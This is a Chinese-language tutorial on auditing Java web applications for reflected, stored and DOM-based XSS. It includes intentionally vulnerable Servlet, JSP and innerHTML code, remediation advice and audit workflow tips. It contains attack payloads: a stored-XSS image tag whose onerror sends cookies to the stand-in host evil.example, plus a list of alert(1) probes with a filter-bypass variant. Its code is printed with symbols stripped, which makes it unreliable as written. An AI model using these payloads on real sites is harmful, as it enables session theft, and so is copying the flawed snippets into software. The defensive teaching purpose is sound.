Java代码审计实战:从原理到防御,彻底讲透三类XSS漏洞

发布时间:2026/10/19 18:09:06
Java代码审计实战:从原理到防御,彻底讲透三类XSS漏洞 1. 先搞明白XSS到底是个什么东西做Java代码审计这几年XSS漏洞大概是白名单里出镜率最高的几位常客之一。很多人有个误区觉得XSS是前端菜鸟才犯的错Java后端天生有类型检查、框架又自带防护应该没那么容易中招。但实际情况恰恰相反我在真实项目中遇到的XSS相当一部分都是从Java服务端流出去的——要么是接口直接把参数拼进HTML返回要么是数据库里的脏数据没有编码就上了页面。这套系列更新到第五篇今天把XSS的成因和实战案例完整盘一遍建议做SDL、搞代码审计、或者负责安全测试的同学重点看。这篇文章会从XSS的原理讲起然后落到Java代码审计的实际操作上怎么定位可疑入口、怎么追踪数据流、三类典型XSS反射、存储、DOM在Java Web项目里分别长什么样最后给出可直接抄作业的修复方案和排查技巧。内容照顾两种读者刚接触代码审计的新手可以照着一行行跟下来老手也能在案例里对照一下自己有没有漏过类似场景。2. 先分清XSS的三个“家族成员”2.1 反射型、存储型、DOM型的本质区别不管浏览器上的表现多花哨XSS的根子就一句话不可信数据被当作可执行代码渲染到了页面里。但根据“恶意脚本从哪来、到哪去”业内习惯把它们分成三类。反射型XSS脚本藏在URL参数或者表单提交里服务端接收后不经过任何过滤直接在响应页面中把这个参数原样拼进HTML返回。受害者必须点击攻击者构造好的恶意链接才会中招所以也叫“非持久型XSS”。它的特点是“一次性”你刷新干净地址就没了但攻击者可以把链接伪装成短链、二维码发给目标防不胜防。存储型XSS恶意脚本先被保存到服务端数据库里比如昵称、留言、文章标题后续任何用户访问包含这条记录的页面时脚本都会从数据库里取出来并渲染执行。因为脚本长期“寄存”在服务器上每次加载都生效杀伤力远超反射型属于高危中的高危。DOM型XSS这种类型服务端完全“不知情”。前端JavaScript通过document.location、window.name、document.referrer等途径读取用户可控数据再通过innerHTML、document.write、eval等方式把它插入页面执行整个过程不经过服务端渲染。审计这类漏洞要重点看前端代码而不是Java接口。用一个不恰当的类比反射型像骗子在门口喊你名字让你开门存储型像骗子直接住进你家客厅DOM型则是你自家保姆被收买了——三种路径不同但都是把不可信的东西当成了“自己人”。2.2 为什么Java Web应用也会踩坑很多开发者潜意识里觉得Java安全主要靠的是类型安全和Spring Boot这类框架的默认配置。但XSS本质上是输出编码缺失的问题和静态类型无关。Java Web项目里踩坑的常见环节我总结了一下Servlet或老式分层架构里直接用PrintWriter拼接HTML字符串输出没有做HTML实体编码JSP页面用% value %输出变量容器默认不做转义使用Velocity、FreeMarker等模板引擎时开发者偷懒关掉了默认的htmlEscape前后端分离架构里后端只提供JSON接口但前端拿到数据后盲目用v-html、innerHTML渲染富文本。这几条在代码审计中都是高发点。你不需要把整条业务链路都看懂只要抓住“入口到出口”的数据流就能快速圈定嫌疑区域。3. 实战思路审计Java代码该从哪里下手3.1 找入口哪些是用户可控的数据源做代码审计讲究一个“从源头到汇点”的污点追踪翻译成人话就是先确定哪些数据是攻击者能控制的再看这些数据最终流到了哪个危险的输出函数里。Java Web应用里常见的“污点入口”优先级排序如下优先级入口类型典型API/位置说明高HTTP请求参数request.getParameter()、RequestParam最常见URL和POST表单都能带高请求体JSON/XMLRequestBody、request.getInputStream()前后端分离项目必查中HTTP请求头request.getHeader(User-Agent)、Referer、X-Forwarded-For很容易被忽略“UA头写入页面”是经典考点中Cookierequest.getCookies()若未设置HttpOnly配合XSS可窃取会话低数据库读出的历史数据mapper.select、JPA查询结果存储型XSS的源头要在输出点封堵在审查时我会先拉一遍项目里所有Controller的入口方法看方法签名里有没有直接绑定了上述这些参数对象。如果某个接口的参数被直接传给了业务层再返回给前端那就是一个值得深入追踪的线索。3.2 盯出口危险的输出点长什么样找到入口后下一步就是找出口——也就是数据被渲染到HTML或JavaScript上下文的位置。Java项目里最危险的输出点有这些模式直接拼接响应response.getWriter().println(div name /div)JSP脚本片段% request.getParameter(keyword) %模板引擎未转义Velocity里写$!nameFreeMarker里用#outputformat html但忘记对变量做?htmlJSONP回调callback(request.getParameter(callback))如果没有对callback参数做白名单校验直接拼进响应就是反射型XSS前端危险APIinnerHTML、document.write、eval、setTimeout(string)我的习惯是先把整个项目里所有innerHTML、document.write、eval这类前端危险函数全局搜索一遍再反过来定位产生这些字段的Java接口。前后端对照着看比单查一端要高效得多。4. 三个实战案例拆解从代码到利用链4.1 案例一搜索框“原样回显”的反射型XSS先从一个最典型的场景说起。某后台管理系统提供了一个搜索接口Java代码是这样的已简化但骨架完全一致WebServlet(/search) public class SearchServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String keyword request.getParameter(keyword); response.setContentType(text/html;charsetUTF-8); PrintWriter out response.getWriter(); out.println(htmlbody); out.println(h2搜索结果 keyword /h2); out.println(/body/html); } }这段代码的问题肉眼可见keyword直接拼接进了HTML响应完全没做任何编码。攻击者构造这样一个URL/search?keywordscriptalert(document.cookie)/script受害者点击后服务端就把这段脚本原样吐回页面浏览器解析HTML时执行了alert(document.cookie)。在实际攻击中脚本会换成窃取Cookie、模拟登录表单钓鱼等更隐蔽的载荷。审计要点搜索、查询类接口是反射型XSS的重灾区因为业务上天然需要把用户输入“回显”到页面上。我在审计时会重点关注out.println、response.getWriter().write这类直接面向响应流的代码只要发现字符串拼接了非固定常量立刻标记为待验证的XSS点。4.2 案例二个人资料里的“潜伏者”存储型XSS第二个案例更棘手。某内容管理平台允许用户填写个人简介Java后端处理保存请求时已经把数据参数化了——这也是很多开发者自信的来源“我们用了PreparedStatementSQL注入不可能”。PostMapping(/api/profile) public ResponseEntityString saveProfile(RequestBody ProfileRequest request) { profileRepository.save(request.getNickname(), request.getBio()); return ResponseEntity.ok(saved); }数据库这边确实没问题但展示端却翻了车。用户个人主页是一个Java后端渲染的JSP页面div classintro % profile.getBio() % /div攻击者在个人简介里填了这么一段内容img srcx onerrorfetch(//evil.example/steal?cookiedocument.cookie)保存时数据库原样存储其他用户访问攻击者主页时JSP把这行HTML直接输出img标签的onerror事件立即触发所有访客的Cookie被发送到攻击者的服务器。这就是存储型XSS的典型利用链——恶意脚本不是一次性而是常驻服务端每个受害者访问都会中招。审计要点存储型XSS的排查难点在于“入口”和“出口”往往不在同一个接口甚至同一个项目里。保存接口只负责入库展示可能是另一个接口渲染的。审计时除了追踪单条数据流还要重点筛查所有读取数据库表字段后直接输出到模板的地方尤其是用户可控字段昵称、签名、评论内容。4.3 案例三前后端分离项目里的DOM型XSS第三个案例是普遍存在于现代互联网项目的场景。广告投放系统后端有个接口返回站内信通知GetMapping(/api/notice) public Result getNotice(RequestParam(type) String type) { Notice notice noticeService.queryByType(type); return Result.ok(notice); }后端返回的JSON里有个content字段存的是公告内容后端本身没有渲染任何HTML所以如果只审Java代码这个接口看起来人畜无害。但前端页面里有一段逻辑fetch(/api/notice?typeany) .then(res res.json()) .then(data { document.getElementById(notice).innerHTML data.content; });问题就出在这行innerHTML。攻击者如果能在业务上控制content字段内容——比如通过某些后台功能录入公告——这段内容就会被当作HTML插入页面执行。更隐蔽的是如果后端在做内容过滤时只过滤script而攻击者用svg onload、img onerror这类不以script开头的事件载荷照样能绕过。审计要点审前后端分离项目时别只盯着Java代码。我通常会要求前端同事提供与接口对接的模板/组件文件重点搜索innerHTML、v-htmlVue、dangerouslySetInnerHTMLReact这几个特征API再对应到后端的字段定义。凡是标注“富文本”“公告”“动态内容”的字段基本都要查一遍渲染方式。DOM型XSS还有一种变体是把查询参数直接拼进URL后塞给location.href这个也值得刷一下。5. 修复方案与防护落地不能只靠“过滤”两个字5.1 不同上下文用不同编码策略很多团队修复XSS时最爱做的一件事就是“加个过滤”——把script、onerror、javascript:这些关键词替换掉。这种做法我强烈不推荐黑名单的绕过姿势太多了大小写混写、HTML实体编码、Unicode编码、SVG标签、MathML命名空间、tab和换行符插入分分钟就给你绕过去。正确的做法是默认不可信输出编码。针对不同的输出上下文选择对应的编码规则输出位置编码方式Java实现示例HTML正文HTML实体编码转义org.springframework.web.util.HtmlUtils.htmlEscape(text)HTML属性属性值编码闭合引号需格外注意org.owasp.encoder.Encode.forHtmlAttribute(text)JavaScript字符串JS字符串转义防止引号闭合执行org.owasp.encoder.Encode.forJavaScript(text)URL参数URL编码URLEncoder.encode(text, UTF-8)富文本白名单标签过滤不是黑名单推荐使用OWASPAntiSamy、JSoup白名单清洗以案例一为例修复可以改成String keyword request.getParameter(keyword); // 关键修复输出前先做HTML实体编码 String safeKeyword HtmlUtils.htmlEscape(keyword); out.println(h2搜索结果 safeKeyword /h2);对于案例二的JSP场景要么在JSP顶层声明中配置全局转义不同版本容器支持度不一更稳妥的方式是引入模板引擎或使用JSTL的c:out标签div classintro c:out value${profile.bio}/ /div针对案例三这种前端渲染场景正确姿势是“永不直接插入HTML字符串”。展示纯文本内容就用textContent展示富文本要用白名单组件如给innerHTML前先跑一遍JSoup白名单清洗或者采用结构化渲染方案把数据和模板彻底分离。5.2 框架层防护与纵深防御编解码修的是“点”框架配置可以帮你把“面”兜住。实战中我一般会从三个维度加固Spring MVC的全局JSON转义在MappingJackson2HttpMessageConverter配置中对JSON响应做字符串转义细节不展开但思路是让所有从接口返回的字符串在进入前端JS上下文时自带一层编码保护。模板引擎默认转义使用Thymeleaf时th:text自带HTML转义使用Freemarker时必须把html_escape作为默认output_format或者在模板里统一用${var?html}。改完记得全局搜索一遍确认没有遗漏?no_esc或${var}裸奔的。内容安全策略CSP给响应头加上Content-Security-Policy例如default-src self; script-src self这样即使某个点被绕过浏览器也会拦截内联脚本的执行。CSP不是万能的但在纵深防御里是最划算的一层保险。HttpOnly Cookie把会话Cookie标记为HttpOnly即使XSS执行了也拿不到document.cookie攻击者的核心窃密目标直接落空。另外提醒一下安全修复做完一定要回归验证。很多人改了代码就没有然后了结果上线后在某个浏览器上发现富文本渲染全乱了、某些特殊字符显示??——所以修复方案要在测试环境拿XSS payload清单跑一遍再正常业务回归一遍双保险。6. 常见问题与排查技巧实录6.1 审计中容易误判和漏判的几个坑代码审计看似简单实际上大量时间耗在判“有没有毛病”上。下面这几个场景我踩过、也见别人踩过列出来给你参考。只盯GET参数忽略POST和JSON Body。很多新手审计时习惯性搜getParameter但现在的接口大部分是POST JSON参数在RequestBody里。如果只在GET参数里找污点至少漏掉一半的攻击面。存储型XSS延迟暴露不好定位。数据入库的接口和输出的页面完全不是一套代码审计时容易追着追着就断了。我的经验是先从数据库表反查实体类找到哪些字段是用户可填写的再顺着这些字段找所有读取它并输出到页面的位置逆向追踪比正向追踪清晰得多。忽略了框架自动绑定的“隐藏入口”。Spring MVC里如果用了ModelAttribute自动绑定对象用户传入的参数会直接映射到实体类字段很多字段页面根本看不见但攻击者可以构造参数名暴力绑定这在表单类接口里是真实存在的。以为“有拦截器就安全了”。很多项目有个全局过滤器只处理了script但事件属性、协议绕过全都没管。黑名单式的“无敌过滤器”我见过太多次被img srcx onerror...打穿。6.2 审计工具的组合用法与验证清单最后交代一下我常用的审计工具组合供新人建立自己的工作流。静态扫描工具做初筛无论你用的是商业工具还是开源的CodeQL/Semgrep都可以先用规则扫一遍“污点入口 innerHTML/print输出路径”把全局可能的隐患点拉出来。工具的价值在于“全”不在于“准”。人工Code Review做复核工具扫出来的点逐个打开看上下文确认是否存在完整的“可控输入 → 不安全的输出 → 可被浏览器执行”链路。这个环节才是真正考验功力的时候。Burp Suite做动态验证把扫描到的可疑接口搬到Burp里构造script、svg onload、不同位置注入的payload看响应里的输出点是否被原样保留。动态验证是为了拿到“实锤”代码里再像XSS也得上线打一发才知道有没有被浏览器拦下来。F12浏览器调试如果响应里看到了payload但页面没弹窗可能是CSP拦截或浏览器XSS过滤器生效这时候用开发者工具确认一下控制台输出别误当安全了。排查时我习惯直接复用下面这套常用payload清单覆盖面比较广适合快速试探不同上下文scriptalert(1)/script scriptalert(1)/script img srcx onerroralert(1) svg onloadalert(1) details open ontogglealert(1) javascript:alert(1) scrscriptiptalert(1)/scr/scriptipt覆盖HTML正文、属性值、事件属性、协议绕过、过滤绕过等多种情况。顺便说一句很多情况下你以为修好了用最后一条嵌套payload再打一发又穿了——修复验证时千万别偷懒只测一条。7. 写在最后的审计心得搞代码审计这几年我最大的体会是XSS不靠“灵感”靠的是稳定的流程。入口数据源梳理、数据流追踪、危险输出点排查这套动作反复练速度自然就上来了。遇到拿不准的点就把接口跑起来用Burp打一发比在代码里猜半天高效得多。另外补一句个人建议安全修复别只停留在“把漏洞堵上”这个层面尽量顺手把同类问题一起清掉。比如在某个接口发现了反射型XSS说明这个项目普遍存在拼接输出的习惯那就在全项目范围内搜一遍PrintWriter、% %、v-html把所有能改的出口统一改成编码输出这样才算把一个类问题真正消化掉。希望这篇实战记录对你接下来做Java项目审计有帮助。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询